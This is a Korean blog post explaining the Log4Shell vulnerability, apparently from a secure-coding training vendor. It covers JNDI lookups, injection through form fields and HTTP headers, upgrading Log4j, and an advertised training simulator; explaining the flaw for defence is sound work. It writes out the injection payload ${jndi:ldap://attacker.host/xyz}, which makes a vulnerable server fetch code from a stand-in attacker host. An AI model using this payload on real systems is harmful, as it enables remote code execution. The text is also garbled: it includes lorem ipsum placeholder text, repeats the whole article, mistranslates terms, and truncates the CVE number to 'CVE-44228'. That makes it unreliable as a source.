Log4j 취약점 설명 - 공격 벡터와 이를 방지하는 방법

게시일: Jan 16, 2022
by Laura Verheyde
TL;DR?

로렘 입섬 돌로는 아메트, consectetur adipiscing 엘리트 앉아있다. 에로스 원소 tristique에서 Suspendisse varius enim. Duis cursus, mi quis viverra ornare, eros dolor interdum nulla, ut commodo diam libero vitae erat. Aenean faucibus nibh et justo cursus id rutrum lorem im imperdiet. Nunc ut sem vitae risus tristique posuere.

12월 9일, 자바 도서관 Log4j에서 0일 간의 공격이 공개되었습니다. Log4Shell이라고불리는 CVE-44228은악용으로 원격 코드실행(RCE)을초래할 수 있기 때문에 "높은 심각도" 등급을 받았습니다. 또한 log4j 코어는 사용되는 가장 일반적인 Java 로깅 라이브러리 중 하나이므로 수백만 개의 응용 프로그램이 위험에 처하게 됩니다.

Log4Shell을 다루기 위해 기술을 빠르게 향상시키고 싶으신가요? 

우리는 Log4Shell의 기본 아이디어에서 라는 시뮬레이터에서이 취약점의 악용을 경험하는 데 걸리는 쇼케이스를 구축했습니다, 임무. 이 미션에서는 Log4j 취약점이 인프라 및 응용 프로그램에 어떤 영향을 미칠 수 있는지 안내해 드립니다. 쇼케이스에서 오른쪽으로 이동하거나 취약점에 대해 자세히 알아보려면 계속 읽으십시오.

오래된 뉴스?

악용은 새로운 것이 아닙니다. 이미 그들의 2016 BlackHat 강연에서 보안 연구원 알바로 무뇨스와 올렉산드르 미로쉬는 "응용 프로그램은 신뢰할 수없는 데이터로 JNDI 조회를 수행해서는 안된다"고 강조하고, 표적 JNDI / LDAP 주입이 원격 코드 실행으로 이어질 수있는 방법을 설명했다. 그리고 이것은 Log4Shell의 핵심에 정확히 무엇이 있습니다.

공격 벡터

Log4Shell의 사출 페이로드는 다음과 같습니다.

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

다음으로 JNDI 또는 Java 명명 및 디렉터리 인터페이스가 있으며, 이는 LDAP, DNS, RMI 등과 같은 프로토콜을 사용하여 서비스와 연결하여 데이터 또는 리소스를 검색할 수 있는 API입니다. 위의 악의적인 페이로드 예제에서 JNDI는 공격자가 제어하는 LDAP 서버에 대한 조회를 수행합니다. 예를 들어 악의적인 코드가 포함된 Java 클래스 파일을 가리키면 해당 응답이 취약한 서버에서 실행될 수 있습니다.

이 취약점을 너무 문제가 만드는 것은 Log4j가 모든 로그 항목을 평가하고 "jndi"로 미리 고정 된 EL 구문에 기록 된 모든 기록 된 사용자 입력의 조회를 수행한다는 것입니다. 페이로드는 사용자가 양식 필드와 같은 데이터를 입력할 수 있는 모든 위치에 주입할 수 있습니다. 또한 사용자 에이전트 및 X-Forwarded-For및 기타 헤더와 같은 HTTP 헤더를 사용자 지정하여 페이로드를 수행하도록 사용자 지정할 수 있습니다.

악용을 직접 경험하려면 쇼케이스로 가서 2 단계로 뛰어 들십시오 - "경험 영향".

예방: 인식

Log4j가 취약한 코드를 패치하고 있기 때문에 업그레이드는 모든 응용 프로그램에 권장되는 작업입니다. 그러나 버전 2.15.0 및 2.16.0에는 DDoS 및 기타 취약점이 포함되어 있어 12월 하순부터 2.17.0으로 업그레이드하는 것이 좋습니다.

코드를 작성하는 개발자로서 항상 보안을 고려해야 합니다. Log4Shell은 타사 프레임워크 또는 라이브러리를 사용할 때 관련된 위험이 있음을 가르쳐 주었습니다. 우리는 우리가 순진하게 안전하다고 가정 외부 소스를 사용하여 응용 프로그램의 보안이 손상 될 수 있다는 사실을 의식할 필요가있다. 

이 취약점을 방지할 수 있었습니까? 그렇기도 하고 그렇지 않기도 하고. 한편으로는 개발자는 타사 소프트웨어를 통해 취약한 구성 요소가 도입되는 만큼만 할 수 있습니다. 다른 한편으로는, 이것에서 배운 교훈은, 사용자 입력을 신뢰하지 않는 것과 같은 반복된 것입니다.

Secure Code Warrior 보안 에 신경을 쓰지 않는 개발자가 코드의 취약점이 발생하지 않도록 하는 가장 좋은 방법이라고 믿습니다. SCW는 프로그래밍 프레임워크별 교육을 대규모로 제공하므로 엔터프라이즈 고객은 보고 데이터를 활용하여 영향을 받는 Java 개발자가 누구인지 신속하게 찾을 수 있었습니다. 또한 SCW 훈련을 받은 보안 챔피언에 의존하여 Log4j 업그레이드를 가속화했습니다.

특히 Java 개발자의 경우 Secure Code Warrior 제공 Sensei무료 IntelliJ 플러그인. 이 규칙 기반 코드 분석 도구를 사용하여 코딩 지침을 적용하고 취약점을 방지하고 수정할 수 있습니다. 당신은 당신의 자신의 규칙을 만들 수 있습니다, 또는 우리의 기성 제 요리 책을 사용할 수 있습니다. 우리의 조리법을검색하고, 당신이 찾고 눈깜짝 할 사이에 Log4Shell 취약점을 해결하는 데 도움이 됩니다 우리의 Log4j 요리 책을 다운로드하는 것을 잊지 마세요.

Log4Shell에 대한 방어에 기술을 레벨업

이 블로그 게시물에서 배운 것을 실천에 넣는 데 관심이 있으십니까? 우리의 쇼케이스는 당신을 도울 수 있습니다. 쇼케이스가 시작될 때 이 취약점을 빠르게 검토한 다음 안내 지시로 악용을 시도할 수 있는 시뮬레이션 된 환경으로 이동합니다.


리소스 보기

더 알고 싶으신가요?

블로그에서 최신 보안 코딩 인사이트에 대해 자세히 알아보세요.

Atlassian의 광범위한 리소스 라이브러리는 안전한 코딩 숙련도를 확보하기 위한 인적 접근 방식을 강화하는 것을 목표로 합니다.

블로그 보기
더 알고 싶으신가요?

개발자 중심 보안에 대한 최신 연구 보기

광범위한 리소스 라이브러리에는 개발자 중심의 보안 코딩을 시작하는 데 도움이 되는 백서부터 웨비나까지 유용한 리소스가 가득합니다. 지금 살펴보세요.

리소스 허브

Log4j 취약점 설명 - 공격 벡터와 이를 방지하는 방법

게시일: Mar 07, 2023
로라 베르헤이데

12월 9일, 자바 도서관 Log4j에서 0일 간의 공격이 공개되었습니다. Log4Shell이라고불리는 CVE-44228은악용으로 원격 코드실행(RCE)을초래할 수 있기 때문에 "높은 심각도" 등급을 받았습니다. 또한 log4j 코어는 사용되는 가장 일반적인 Java 로깅 라이브러리 중 하나이므로 수백만 개의 응용 프로그램이 위험에 처하게 됩니다.

Log4Shell을 다루기 위해 기술을 빠르게 향상시키고 싶으신가요? 

우리는 Log4Shell의 기본 아이디어에서 라는 시뮬레이터에서이 취약점의 악용을 경험하는 데 걸리는 쇼케이스를 구축했습니다, 임무. 이 미션에서는 Log4j 취약점이 인프라 및 응용 프로그램에 어떤 영향을 미칠 수 있는지 안내해 드립니다. 쇼케이스에서 오른쪽으로 이동하거나 취약점에 대해 자세히 알아보려면 계속 읽으십시오.

오래된 뉴스?

악용은 새로운 것이 아닙니다. 이미 그들의 2016 BlackHat 강연에서 보안 연구원 알바로 무뇨스와 올렉산드르 미로쉬는 "응용 프로그램은 신뢰할 수없는 데이터로 JNDI 조회를 수행해서는 안된다"고 강조하고, 표적 JNDI / LDAP 주입이 원격 코드 실행으로 이어질 수있는 방법을 설명했다. 그리고 이것은 Log4Shell의 핵심에 정확히 무엇이 있습니다.

공격 벡터

Log4Shell의 사출 페이로드는 다음과 같습니다.

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

다음으로 JNDI 또는 Java 명명 및 디렉터리 인터페이스가 있으며, 이는 LDAP, DNS, RMI 등과 같은 프로토콜을 사용하여 서비스와 연결하여 데이터 또는 리소스를 검색할 수 있는 API입니다. 위의 악의적인 페이로드 예제에서 JNDI는 공격자가 제어하는 LDAP 서버에 대한 조회를 수행합니다. 예를 들어 악의적인 코드가 포함된 Java 클래스 파일을 가리키면 해당 응답이 취약한 서버에서 실행될 수 있습니다.

이 취약점을 너무 문제가 만드는 것은 Log4j가 모든 로그 항목을 평가하고 "jndi"로 미리 고정 된 EL 구문에 기록 된 모든 기록 된 사용자 입력의 조회를 수행한다는 것입니다. 페이로드는 사용자가 양식 필드와 같은 데이터를 입력할 수 있는 모든 위치에 주입할 수 있습니다. 또한 사용자 에이전트 및 X-Forwarded-For및 기타 헤더와 같은 HTTP 헤더를 사용자 지정하여 페이로드를 수행하도록 사용자 지정할 수 있습니다.

악용을 직접 경험하려면 쇼케이스로 가서 2 단계로 뛰어 들십시오 - "경험 영향".

예방: 인식

Log4j가 취약한 코드를 패치하고 있기 때문에 업그레이드는 모든 응용 프로그램에 권장되는 작업입니다. 그러나 버전 2.15.0 및 2.16.0에는 DDoS 및 기타 취약점이 포함되어 있어 12월 하순부터 2.17.0으로 업그레이드하는 것이 좋습니다.

코드를 작성하는 개발자로서 항상 보안을 고려해야 합니다. Log4Shell은 타사 프레임워크 또는 라이브러리를 사용할 때 관련된 위험이 있음을 가르쳐 주었습니다. 우리는 우리가 순진하게 안전하다고 가정 외부 소스를 사용하여 응용 프로그램의 보안이 손상 될 수 있다는 사실을 의식할 필요가있다. 

이 취약점을 방지할 수 있었습니까? 그렇기도 하고 그렇지 않기도 하고. 한편으로는 개발자는 타사 소프트웨어를 통해 취약한 구성 요소가 도입되는 만큼만 할 수 있습니다. 다른 한편으로는, 이것에서 배운 교훈은, 사용자 입력을 신뢰하지 않는 것과 같은 반복된 것입니다.

Secure Code Warrior 보안 에 신경을 쓰지 않는 개발자가 코드의 취약점이 발생하지 않도록 하는 가장 좋은 방법이라고 믿습니다. SCW는 프로그래밍 프레임워크별 교육을 대규모로 제공하므로 엔터프라이즈 고객은 보고 데이터를 활용하여 영향을 받는 Java 개발자가 누구인지 신속하게 찾을 수 있었습니다. 또한 SCW 훈련을 받은 보안 챔피언에 의존하여 Log4j 업그레이드를 가속화했습니다.

특히 Java 개발자의 경우 Secure Code Warrior 제공 Sensei무료 IntelliJ 플러그인. 이 규칙 기반 코드 분석 도구를 사용하여 코딩 지침을 적용하고 취약점을 방지하고 수정할 수 있습니다. 당신은 당신의 자신의 규칙을 만들 수 있습니다, 또는 우리의 기성 제 요리 책을 사용할 수 있습니다. 우리의 조리법을검색하고, 당신이 찾고 눈깜짝 할 사이에 Log4Shell 취약점을 해결하는 데 도움이 됩니다 우리의 Log4j 요리 책을 다운로드하는 것을 잊지 마세요.

Log4Shell에 대한 방어에 기술을 레벨업

이 블로그 게시물에서 배운 것을 실천에 넣는 데 관심이 있으십니까? 우리의 쇼케이스는 당신을 도울 수 있습니다. 쇼케이스가 시작될 때 이 취약점을 빠르게 검토한 다음 안내 지시로 악용을 시도할 수 있는 시뮬레이션 된 환경으로 이동합니다.


우리는 당신에게 우리의 제품 및 / 또는 관련 보안 코딩 주제에 대한 정보를 보낼 수있는 귀하의 허가를 바랍니다. 우리는 항상 최대한의주의를 기울여 귀하의 개인 정보를 취급 할 것이며 마케팅 목적으로 다른 회사에 판매하지 않을 것입니다.

웁시 데이지